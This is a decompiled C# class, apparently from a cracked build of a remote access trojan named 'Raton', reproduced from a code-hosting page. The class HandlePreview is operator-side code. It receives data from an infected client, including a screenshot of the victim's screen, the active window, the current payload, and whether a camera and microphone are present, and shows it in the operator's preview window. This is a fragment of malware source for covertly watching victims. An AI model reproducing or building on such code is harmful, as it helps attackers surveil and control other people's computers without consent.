83 lines
2.7 KiB
C#
83 lines
2.7 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: HandlePreview
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Windows;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Windows;
|
|
using System.Windows.Media.Imaging;
|
|
|
|
#nullable disable
|
|
internal class HandlePreview
|
|
{
|
|
public HandlePreview(SillyClient sillyClient, Unpack unpack)
|
|
{
|
|
string payload = unpack.GetAsString("Payload");
|
|
string uptime = unpack.GetAsString("Uptime");
|
|
string ping = unpack.GetAsString("Ping");
|
|
string activeWindow = unpack.GetAsString("Window");
|
|
string architecture = unpack.GetAsString("Architecture");
|
|
string localTime = unpack.GetAsString("Time");
|
|
string battery = unpack.GetAsString("Battery");
|
|
string camera = unpack.GetAsString("Camera");
|
|
string microphone = unpack.GetAsString("Microphone");
|
|
byte[] image = unpack.GetAsByteArray("Image");
|
|
Program.form2.Dispatcher.Invoke((Action) (() => HandlePreview.UpdateUI(image, activeWindow, payload, uptime, ping, architecture, localTime, battery, camera, microphone)));
|
|
}
|
|
|
|
private static void UpdateUI(
|
|
byte[] image,
|
|
string activeWindow,
|
|
string payload,
|
|
string uptime,
|
|
string ping,
|
|
string architecture,
|
|
string localTime,
|
|
string battery,
|
|
string camera,
|
|
string microphone)
|
|
{
|
|
if (Program.form2.ClientsGrid.SelectedItems.Count < 1)
|
|
return;
|
|
Preview preview = Application.Current.Windows.OfType<Preview>().FirstOrDefault<Preview>();
|
|
if (preview == null)
|
|
return;
|
|
preview.ClearPreview();
|
|
if (image != null)
|
|
{
|
|
if (image.Length != 0)
|
|
{
|
|
try
|
|
{
|
|
MemoryStream memoryStream = new MemoryStream(image);
|
|
BitmapImage source = new BitmapImage();
|
|
source.BeginInit();
|
|
source.CacheOption = BitmapCacheOption.OnLoad;
|
|
source.StreamSource = (Stream) memoryStream;
|
|
source.EndInit();
|
|
source.Freeze();
|
|
preview.SetPreviewImage((BitmapSource) source);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
preview.AddPreview("Active window", activeWindow);
|
|
preview.AddPreview("Current payload", payload);
|
|
preview.AddPreview("Architecture", architecture);
|
|
preview.AddPreview("Local time", localTime);
|
|
preview.AddPreview("Uptime", uptime);
|
|
preview.AddPreview("Ping", ping);
|
|
preview.AddPreview("Battery", battery);
|
|
preview.AddPreview("Camera", camera);
|
|
preview.AddPreview("Microphone", microphone);
|
|
}
|
|
}
|